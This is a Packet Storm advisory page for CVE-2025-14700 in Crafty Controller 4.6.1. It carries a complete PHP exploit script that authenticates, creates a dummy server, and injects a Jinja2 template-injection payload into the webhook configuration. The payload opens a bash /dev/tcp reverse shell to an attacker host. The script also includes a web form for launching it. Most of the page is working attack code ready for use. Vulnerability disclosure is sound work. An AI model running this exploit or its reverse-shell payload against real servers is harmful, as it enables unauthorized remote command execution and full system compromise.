PACKETSTORM 9.9 CRITICAL

📄 Crafty Controller 4.6.1 Remote Code Execution / Server-Side Template Injection_PACKETSTORM:213258

9.9 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Description

Crafty Controller version 4.6.1 allows authenticated remote attackers to execute arbitrary system commands on the target server through server-side template injection the webhook configuration feature...
Visit Original Source

Basic Information

ID PACKETSTORM:213258
Published Dec 23, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Crafty Controller 4.6.1 authenticated RCE via Server-Side Template Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://craftycontrol.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213042/ & CVE-2025-14700

[+] Summary : This PHP script is a complete port of a Python exploit targeting CVE-2025-14700, a critical vulnerability in the Crafty Controller Minecraft server management platform.
The exploit chain allows authenticated remote attackers to execute arbitrary system commands on the target server through Server-Side Template Injection (SSTI) in the webhook configuration feature.

[+] Exploitation Chain:

1- Authentication Bypass & Token Harvesting

Retrieves initial XSRF token from login page

Authenticates with admin credentials to obtain JWT token

Maintains session cookies throughout the attack

2- Server Creation for Payload Delivery

Creates a dummy Minecraft server via API

Required to access the vulnerable webhook configuration endpoint

3- SSTI Payload Injection

Injects malicious Jinja2 template into Discord webhook configuration

Uses cycler.__init__.__globals__.os.system() to escape template sandbox

Embeds reverse shell command for remote access

4- Triggering the Vulnerability

Emulates browser requests to trigger server start action

Executes EULA confirmation to initialize the server

The template is rendered during server initialization, executing the payload

[+] Technical Details:

Vulnerable Component: Webhook configuration in /api/v2/servers/{id}/webhook

Attack Vector: Authenticated SSTI → RCE

Privileges Required: Admin credentials

Impact: Full system compromise via reverse shell

Default Port: 8443 (HTTPS)


[+] CODE : php exploit.php --url=https://target.com:8443 --login=admin --password=password --lhost=192.168.1.100 --lport=4444

<?php


error_reporting(E_ALL);
ini_set('display_errors', 1);

// Reverse Shell Template
define('REVSHELL_TEMPLATE', "bash -c 'bash -i >/dev/tcp/%s/%d 0<&1 2>&1'");

class CraftyExploit {
private $url;
private $login;
private $password;
private $lhost;
private $lport;
private $session;
private $cookies;

public function __construct($url, $login, $password, $lhost, $lport) {
$this->url = rtrim($url, '/');
$this->login = $login;
$this->password = $password;
$this->lhost = $lhost;
$this->lport = $lport;
$this->session = curl_init();
$this->cookies = [];

// Configure cURL options
curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true);
curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($this->session, CURLOPT_HEADER, true);
curl_setopt($this->session, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
}

private function request($method, $endpoint, $data = null, $headers = [], $returnHeaders = false) {
$url = $this->url . $endpoint;

curl_setopt($this->session, CURLOPT_URL, $url);
curl_setopt($this->session, CURLOPT_CUSTOMREQUEST, $method);

// Set headers
$defaultHeaders = [
'Accept: application/json, text/plain, */*',
'Accept-Language: en-US,en;q=0.9',
'Connection: keep-alive',
];

$allHeaders = array_merge($defaultHeaders, $headers);
curl_setopt($this->session, CURLOPT_HTTPHEADER, $allHeaders);

// Set cookies if any
if (!empty($this->cookies)) {
$cookieStr = '';
foreach ($this->cookies as $name => $value) {
$cookieStr .= "$name=$value; ";
}
curl_setopt($this->session, CURLOPT_COOKIE, trim($cookieStr));
}

// Set POST data
if ($method === 'POST' && $data !== null) {
if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'application/json') !== false) {
curl_setopt($this->session, CURLOPT_POSTFIELDS, json_encode($data));
} else {
curl_setopt($this->session, CURLOPT_POSTFIELDS, $data);
}
}

$response = curl_exec($this->session);

if ($response === false) {
echo "cURL Error: " . curl_error($this->session) . "\n";
return false;
}

// Parse response
$headerSize = curl_getinfo($this->session, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $headerSize);
$body = substr($response, $headerSize);

// Update cookies from response
$this->parseCookies($headers);

// Create response object
$result = [
'status_code' => curl_getinfo($this->session, CURLINFO_HTTP_CODE),
'headers' => $headers,
'body' => $body,
'request_url' => $url,
'request_method' => $method
];

if ($returnHeaders) {
return $result;
}

return $body;
}

private function parseCookies($headers) {
$lines = explode("\n", $headers);
foreach ($lines as $line) {
if (stripos($line, 'Set-Cookie:') === 0) {
$cookie = trim(substr($line, 11));
$parts = explode(';', $cookie);
$cookiePair = explode('=', $parts[0], 2);
if (count($cookiePair) === 2) {
$this->cookies[$cookiePair[0]] = $cookiePair[1];
}
}
}
}

private function printDebugInfo($response) {
echo "\n" . str_repeat("=", 80) . "\n";
echo "[{$response['request_method']}] {$response['request_url']} -> HTTP {$response['status_code']}\n";
echo str_repeat("-", 20) . " [KEY HEADERS VALIDATION] " . str_repeat("-", 20) . "\n";

// Important headers to display
$importantHeaders = ['token', 'X-XSRFToken', 'Authorization', 'Cookie', 'Referer', 'Content-Type'];
$headers = $this->parseResponseHeaders($response['headers']);

foreach ($importantHeaders as $h) {
$hLower = strtolower($h);
foreach ($headers as $headerName => $headerValue) {
if (strtolower($headerName) === $hLower) {
echo "$h: $headerValue\n";
break;
}
}
}

echo str_repeat("-", 20) . " [RESPONSE BODY] " . str_repeat("-", 25) . "\n";

// Try to decode JSON
$json = json_decode($response['body'], true);
if (json_last_error() === JSON_ERROR_NONE) {
echo json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
} else {
// Truncate output if it's not JSON
echo (strlen($response['body']) > 200) ? substr($response['body'], 0, 200) . "..." : $response['body'];
if (empty($response['body'])) {
echo "(Empty Body)";
}
echo "\n";
}

echo str_repeat("=", 80) . "\n\n";
}

private function parseResponseHeaders($headers) {
$parsed = [];
$lines = explode("\n", $headers);
foreach ($lines as $line) {
if (strpos($line, ':') !== false) {
list($name, $value) = explode(':', $line, 2);
$parsed[trim($name)] = trim($value);
}
}
return $parsed;
}

public function apiLogin() {
echo "[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...\n";

// Get initial XSRF token
$response = $this->request('GET', '/login', null, [], true);
$xsrf = $this->cookies['_xsrf'] ?? '';

echo "[*] STEP 2: Executing authentication (XSRF: " . substr($xsrf, 0, 15) . "...)\n";

$endpoint = '/api/v2/auth/login/';
$headers = [
'Content-Type: application/json',
'X-XSRFToken: ' . $xsrf,
'Referer: ' . $this->url . '/login?next=%2Fpanel%2Fdashboard',
'Origin: ' . $this->url
];

$data = [
'username' => $this->login,
'password' => $this->password
];

$response = $this->request('POST', $endpoint, $data, $headers, true);
$this->printDebugInfo($response);

$responseData = json_decode($response['body'], true);

if ($response['status_code'] == 200 &&
isset($responseData['status']) &&
$responseData['status'] == 'ok' &&
isset($responseData['data']['token'])) {
return $responseData['data']['token'];
}

die("[FATAL] Login failed. Please check credentials or target connectivity.\n");
}

public function createServer($jwtToken) {
echo "[*] STEP 3: Creating exploit dummy server...\n";

$endpoint = '/api/v2/servers';
$xsrf = $this->cookies['_xsrf'] ?? '';

$headers = [
'Content-Type: application/json',
'Authorization: Bearer ' . $jwtToken,
'X-XSRFToken: ' . $xsrf,
'Referer: ' . $this->url . '/panel/dashboard'
];

$data = [
'name' => 'CVE_2025_14700_Exploit_Automation',
'monitoring_type' => 'minecraft_java',
'minecraft_java_monitoring_data' => ['host' => '127.0.0.1', 'port' => 25565],
'create_type' => 'minecraft_java',
'minecraft_java_create_data' => [
'create_type' => 'download_jar',
'download_jar_create_data' => [
'category' => 'mc_java_servers',
'type' => 'paper',
'version' => '1.18.2',
'mem_min' => 1,
'mem_max' => 2,
'server_properties_port' => 25565
]
]
];

$response = $this->request('POST', $endpoint, $data, $headers, true);
$this->printDebugInfo($response);

$responseData = json_decode($response['body'], true);

if (isset($responseData['data']['new_server_id'])) {
return $responseData['data']['new_server_id'];
}

die("[FATAL] Failed to create server.\n");
}

public function createHook($serverId, $lhost, $lport, $jwtToken) {
echo "[*] STEP 4: Injecting SSTI Reverse Shell payload...\n";

$endpoint = "/api/v2/servers/{$serverId}/webhook";
$xsrf = $this->cookies['_xsrf'] ?? '';
$revshellCmd = sprintf(REVSHELL_TEMPLATE, $lhost, $lport);

// Jinja2 SSTI payload
$payload = '{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system("' . $revshellCmd . '") }}';

$headers = [
'Content-Type: application/json',
'Authorization: Bearer ' . $jwtToken,
'X-XSRFToken: ' . $xsrf,
'Referer: ' . $this->url . '/panel/dashboard'
];

$data = [
'webhook_type' => 'Discord',
'name' => 'Exploit_Trigger_Hook',
'url' => 'https://localhost:8443/',
'bot_name' => 'Crafty Bot',
'trigger' => ['start_server'],
'body' => $payload,
'color' => '#c646000',
'enabled' => true
];

$response = $this->request('POST', $endpoint, $data, $headers, true);
$this->printDebugInfo($response);
}

public function triggerExploit($serverId, $jwtToken) {
echo "\n[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...\n";

$xsrf = $this->cookies['_xsrf'] ?? '';
$host = parse_url($this->url, PHP_URL_HOST);

// Set JWT in cookies
$this->cookies['token'] = $jwtToken;

// 1. Trigger Start Server Action
$startUrl = "/api/v2/servers/{$serverId}/action/start_server";
echo "[*] Sending start_server action request...\n";

$headers = [
'token: ' . $xsrf,
'X-XSRFToken: ' . $xsrf,
'X-Requested-With: XMLHttpRequest',
'Origin: ' . $this->url,
'Referer: ' . $this->url . '/panel/dashboard',
'Accept: */*',
'Accept-Encoding: gzip, deflate, br',
'sec-ch-ua-platform: "Windows"'
];

$response = $this->request('POST', $startUrl, '', $headers, true);
$this->printDebugInfo($response);

sleep(2);

// 2. Trigger EULA Action
$eulaUrl = "/api/v2/servers/{$serverId}/action/eula";
echo "[*] Sending EULA confirmation action request...\n";

$this->request('POST', $eulaUrl, '', $headers, false);

echo "\n[+] POC Execution completed. Check your nc listener ({$this->lhost}:{$this->lport}).\n";
}

public function run() {
$jwt = $this->apiLogin();
$serverId = $this->createServer($jwt);
$this->createHook($serverId, $this->lhost, $this->lport, $jwt);
$this->triggerExploit($serverId, $jwt);
}

public function __destruct() {
if (is_resource($this->session)) {
curl_close($this->session);
}
}
}

// Command line interface
if (PHP_SAPI === 'cli') {
$options = getopt('u:l:p:lh:lp:', [
'url:', 'login:', 'password:', 'lhost:', 'lport:'
]);

$url = $options['u'] ?? $options['url'] ?? null;
$login = $options['l'] ?? $options['login'] ?? null;
$password = $options['p'] ?? $options['password'] ?? null;
$lhost = $options['lh'] ?? $options['lhost'] ?? null;
$lport = $options['lp'] ?? $options['lport'] ?? null;

if (!$url || !$login || !$password || !$lhost || !$lport) {
echo "Usage: php " . basename(__FILE__) . " [options]\n";
echo "Options:\n";
echo " -u, --url Target base URL (e.g., https://10.67.3.77:8443)\n";
echo " -l, --login Admin username\n";
echo " -p, --password Admin password\n";
echo " -lh, --lhost Local listener IP\n";
echo " -lp, --lport Local listener port\n";
exit(1);
}

$exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);
$exploit->run();
} else {
// Web interface (optional)
echo "<pre>";
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$url = $_POST['url'] ?? '';
$login = $_POST['login'] ?? '';
$password = $_POST['password'] ?? '';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? '';

if ($url && $login && $password && $lhost && $lport) {
$exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);
$exploit->run();
} else {
echo "Please fill all fields.\n";
}
}
echo "</pre>";
?>
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-14700 Exploit</title>
</head>
<body>
<h2>CVE-2025-14700 Exploit Interface</h2>
<form method="POST">
URL: <input type="text" name="url" size="50" placeholder="https://10.67.3.77:8443"><br><br>
Login: <input type="text" name="login"><br><br>
Password: <input type="password" name="password"><br><br>
LHOST: <input type="text" name="lhost" placeholder="192.168.1.100"><br><br>
LPORT: <input type="text" name="lport" placeholder="4444"><br><br>
<input type="submit" value="Execute">
</form>
</body>
</html>
<?php
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.